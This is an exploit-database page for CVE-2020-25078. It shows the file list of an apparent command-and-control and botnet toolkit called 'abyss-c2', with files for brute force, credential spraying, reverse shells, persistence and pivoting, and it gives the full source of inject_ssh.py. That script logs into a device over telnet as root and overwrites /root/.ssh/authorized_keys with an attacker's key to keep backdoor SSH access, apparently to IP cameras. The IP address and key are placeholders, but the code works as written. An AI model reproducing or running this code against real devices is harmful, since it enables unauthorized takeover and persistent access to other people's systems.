Exploit databaseDownload repository ZIP
GH-2af8eacf03924d61b877104a3bad36c4
flags-alt/abyss-c2
Sources for CVE-2020-25078
14 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files39
flags-alt/abyss-c2Revision e53991d4aec1
- templates/
- .gitignore
- README.md
- auto_exploit.py
- botnet.py
- brute.py
- clean_db.py
- cred_spray.py
- database.py
- exploit.py
- inject_key.py
- inject_key2.py
- inject_key3.py
- inject_key4.py
- inject_ssh.py
- intel.py
- launch.py
- network_exploit.py
- persistence.py
- pivot_chain.py
- portscan.py
- proxy_rotation.py
- recon_asn.py
- recon_dns.py
- recon_geoip.py
- recon_jarm.py
- recon_waf.py
- requirements.txt
- reverse_shell.py
- scanner.py
- scheduler.py
- server.py
- socks_pivot.py
- stealth.py
- telnet_client.py
- web_brute.py
- web_bugs.py
- web_cves.py
- web_exploit.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
inject_ssh.py
Python · 1,049 bytesimport sys, time
sys.path.insert(0, r'.')
import telnet_client
# Clear session pool
telnet_client._sessions.clear()
pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPLACEHOLDERKEYONLYFORPUBLICTEMPLATE sanitized@example-host"
from telnet_client import TelnetSession
tn = TelnetSession('192.0.2.10', 23, 'root', 'CHANGE_ME')
try:
if tn.connect(timeout=12):
print("ROOT SHELL ACTIVE")
cmd = "python -c \"f=open('/root/.ssh/authorized_keys','w');f.write('" + pubkey.replace("'","'\\''") + "');f.close()\""
r = tn.execute(cmd, timeout=20)
print("Key injected:", len(r), "bytes output")
r = tn.execute('cat /root/.ssh/authorized_keys | head -c 80', timeout=10)
print("HEAD:", r)
r = tn.execute('ls -la /root/.ssh/', timeout=8)
print("LS:", r)
print("\nDONE! Run: ssh -i C:\\Users\\flag\\.ssh\\camera_key [email protected]")
else:
print("FAILED to connect as root")
except Exception as e:
print(f"ERROR: {e}")
finally:
tn.close()